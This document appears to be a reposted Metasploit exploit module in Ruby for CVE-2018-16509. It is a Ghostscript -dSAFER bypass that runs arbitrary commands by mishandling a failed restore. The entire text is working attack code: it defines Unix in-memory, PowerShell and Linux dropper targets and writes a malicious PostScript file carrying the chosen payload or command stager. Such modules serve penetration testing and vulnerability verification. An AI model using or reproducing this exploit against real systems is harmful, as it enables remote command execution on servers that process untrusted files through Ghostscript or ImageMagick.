Ghostscript – Failed Restore Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = ExcellentRanking PLACEHOLDER_STRING = 'metasploit' PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty' include Msf::Exploit::FILEFORMAT include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Ghostscript Failed Restore Command Execution', 'Description' => %q{ This module exploits a -dSAFER bypass in Ghostscript to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick, and this module provides the latest vector for Ghostscript. For previous Ghostscript vectors, please see the following modules: exploit/unix/fileformat/ghostscript_type_confusion exploit/unix/fileformat/imagemagick_delegate }, 'Author' => [ 'Tavis Ormandy', # Vuln discovery and exploit 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2018-16509'], ['URL', 'http://seclists.org/oss-sec/2018/q3/142'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640'] ], 'DisclosureDate' => 'Aug 21 2018', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'win'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ ['Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total ], ['PowerShell (In-Memory)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh_memory ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper ] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('FILENAME', [true, 'Output file', 'msf.ps']) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp']) ]) end def exploit sploit = template # Replace our placeholder string with a random one sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42)) # Replace our test payload with the real one case target['Type'] when :unix_memory sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded) when :psh_memory psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true) # XXX: Payload space applies to the payload, not the PSH command if psh.length > targets[0].payload_space fail_with(Failure::BadConfig, 'Please choose a smaller payload') end sploit.sub!(PLACEHOLDER_COMMAND, psh) when :linux_dropper cmdstager = generate_cmdstager( linemax: targets[0].payload_space, temp: datastore['WritableDir'] ).join(';') # XXX: Payload space applies to the payload, not the command stager if cmdstager.length > targets[0].payload_space fail_with(Failure::BadConfig, 'Please choose a smaller command stager') end sploit.sub!(PLACEHOLDER_COMMAND, cmdstager) end file_create(sploit) end def template File.read(File.join( Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps' )) end end |